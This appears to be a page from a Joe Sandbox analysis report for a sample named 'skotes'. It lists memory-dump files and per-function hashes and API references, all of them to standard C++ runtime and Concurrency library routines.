Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: Context$Base::Concurrency::details::$EventInternal$AssignBlockingConcurrency::location::_FindNestingPrepareThrowTraceWork
String ID:
API String ID: 1091748018-0
Opcode ID: 332938e755f3251a2281d7ba4726afc039dbdbe6310d92ad45ee788a96b3a682
Instruction ID: 35ff26d6b14144594a0ab0c50f1309e8f079f5fa5417d28b17c92c81f5e3507d
Opcode Fuzzy Hash: 332938e755f3251a2281d7ba4726afc039dbdbe6310d92ad45ee788a96b3a682
Instruction Fuzzy Hash: 4A41D470604218ABCF19AB24C896BBDBBF6EF45710F1440DDE6069B3C2CBB4AD49C791

Function 00BF56AF Relevance: 6.1, APIs: 4, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_InternalDeleteHelper.LIBCONCRT ref: 00BF56F2
_InternalDeleteHelper.LIBCONCRT ref: 00BF5726
Concurrency::details::SchedulerBase::TraceSchedulerEvent.LIBCMT ref: 00BF578B
SafeRWList.LIBCONCRT ref: 00BF579A

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: DeleteHelperInternalScheduler$Base::Concurrency::details::EventListSafeTrace
String ID:
API String ID: 893951542-0
Opcode ID: 29bb40c19d5c703877e9e6f9aa642cd2837a6ebe5a937f8a351c07851df8ab8c
Instruction ID: 7ea39788f0197c6b4e324950044c2138b928b343e836be8c35a93ea3d6dbf604
Opcode Fuzzy Hash: 29bb40c19d5c703877e9e6f9aa642cd2837a6ebe5a937f8a351c07851df8ab8c
Instruction Fuzzy Hash: F13126367016149FCB19AF20C885BBDB7E6EF89710F1541B9EB099F295DF30AD098B90

Function 00BF2CFC Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00BF2D0F

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersConcurrency::details::InitializeManager::Resource
String ID:
API String ID: 3433162309-0
Opcode ID: a2c02a440f5912de4952e0376c84100945a74560a7fe730b57979955c2106f73
Instruction ID: 5bdc8087a0b7547fa7458b97203258e1f593d4b5bc85571951ba9e6571dfd286
Opcode Fuzzy Hash: a2c02a440f5912de4952e0376c84100945a74560a7fe730b57979955c2106f73
Instruction Fuzzy Hash: C4310779A00309DFCF14DF94C8C0ABEBBF9EB44314F1404AADA45AB356D730A949DBA1

Function 00C013F5 Relevance: 6.1, APIs: 4, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00C013FC
Concurrency::details::_TaskCollectionBase::_GetTokenState.LIBCONCRT ref: 00C01447
Concurrency::details::_CancellationTokenState::_RegisterCallback.LIBCONCRT ref: 00C0147A
Concurrency::details::_StructuredTaskCollection::_CountUp.LIBCMT ref: 00C0152A

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_$TaskToken$Base::_CallbackCancellationCollectionCollection::_CountH_prolog3_catchRegisterStateState::_Structured
String ID:
API String ID: 2092016602-0
Opcode ID: fdb756114d00a149dc7d34d4edd12ed53ed54379e7b95109ccbfabb409dd3355
Instruction ID: 6995d114d86d43a65a26a2c8321af95cbb02b1ca053197b156f348243df1649b
Opcode Fuzzy Hash: fdb756114d00a149dc7d34d4edd12ed53ed54379e7b95109ccbfabb409dd3355
Instruction Fuzzy Hash: C531A371A006099FCF14DFA9C8919EDF7F1BF48710B18822DE526AB3D1DB34AA45CB90

Function 00BEBB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00BEBBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 00BEBBE4
_xtime_get.LIBCPMT ref: 00BEBC07
__Xtime_diff_to_millis2.LIBCPMT ref: 00BEBC13

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: f8543847f07726ee3c49c09d30cecc01f351075ae0b7e82b83cf81ea777003c3
Instruction ID: 74f59ea1929a9731ec60f8544cf756a0ec4062a3451105935b79763ed191b336
Opcode Fuzzy Hash: f8543847f07726ee3c49c09d30cecc01f351075ae0b7e82b83cf81ea777003c3
Instruction Fuzzy Hash: FA2121759001599FDF00EFA5DC81DBFBBB9EF08710F100455F901A7251DB349D069B90

Function 00BF9C95 Relevance: 6.1, APIs: 4, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00BF9C9C
Concurrency::SchedulerPolicy::_ValidPolicyValue.LIBCONCRT ref: 00BF9CE8
std::bad_exception::bad_exception.LIBCMT ref: 00BF9CFE
std::bad_exception::bad_exception.LIBCMT ref: 00BF9D6A

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
